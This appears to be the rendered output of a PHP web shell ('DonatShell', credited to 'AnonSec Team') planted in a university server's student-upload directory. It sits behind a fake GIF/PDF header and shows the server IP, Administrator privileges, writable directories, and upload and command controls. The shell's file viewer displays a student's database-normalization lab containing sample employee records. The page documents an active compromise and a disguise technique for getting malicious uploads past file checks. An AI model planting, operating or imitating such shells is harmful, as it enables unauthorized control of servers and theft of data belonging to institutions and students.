GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/uploads/20243/CST1600/41/16316941/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/uploads/20243/CST1600/41/16316941/Lab08/CarterGrunewald-Lab08.txt
UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)
 
note: first name and last name need to be seperate on worker and spouse. projectWork needs to be seperated and in its own
tables. 

1NF: employee (employeeId*, firstName, lastName, SSN)
     employeeSpouse (employeeId*@, spouseFirstName, spouseLastName, spouseSSN, spouseIsInsured)
     projectWork ( employeeId*@, projectCode*@, date, hoursworked)
     projects (projectCode*, projectName)

Note: OK
2NF: employee (employeeId*, firstName, lastName, SSN)
     employeeSpouse (employeeId*@, spouseFirstName, spouseLastName, spouseSSN, spouseIsInsured)
     projectWork ( employeeId*@, projectCode*@, date, hoursworked)
     projects (projectCode*, projectName)

Note: OK
3NF: employee (employeeId*, firstName, lastName, SSN)
     employeeSpouse (employeeId*@, spouseFirstName, spouseLastName, spouseSSN, spouseIsInsured)
     projectWork ( employeeId*@, projectCode*@, date, hoursworked)
     projects (projectCode*, projectName)

All data rows: employee (employeeId*, firstName, lastName, SSN)
			 1,	      Avram,     Hinton,   123456789
			 2,	      Xerxes,	 Hayes,	   345678901
			 3,	      Kristen,	 Acosta,   456789012
     	       employeeSpouse (employeeId*@, spouseFirstName, spouseLastName, spouseSSN, spouseIsInsured)
			       1,	     Lucy,	      Merritt,	      234567890, No
			       3,	     Kylee,	      Acosta,	      567890123, Yes
     	       projectWork ( employeeId*@, projectCode*@, date,       hoursworked)
			     1,		   Chr0944, 	  2023-02-05, 8
			     1,            Tbl0944,       2023-02-06, 6
                             1,            Tbl0944,       2023-02-07, 6
			     2,            Kit0944,       2023-02-05, 8
                             2,        	   Kit0944,       2023-02-06, 8
                             2,        	   Tbl0944,       2023-02-07, 4
			     3,		   Kit0944,       2023-02-05, 8
			     4,		   Kit0944,       2023-02-05, 4
                             4,        	   Chr0944,       2023-02-05, 4
                             4,       	   Kit0944,       2023-02-06, 8
     	       projects (projectCode*, projectName)
			 Chr0944,      Dining room table chairs,
			 Tbl0944,      Dining room table,
			 Kit0944,      Kitchen counters,

Anon7 - 2022
AnonSec Team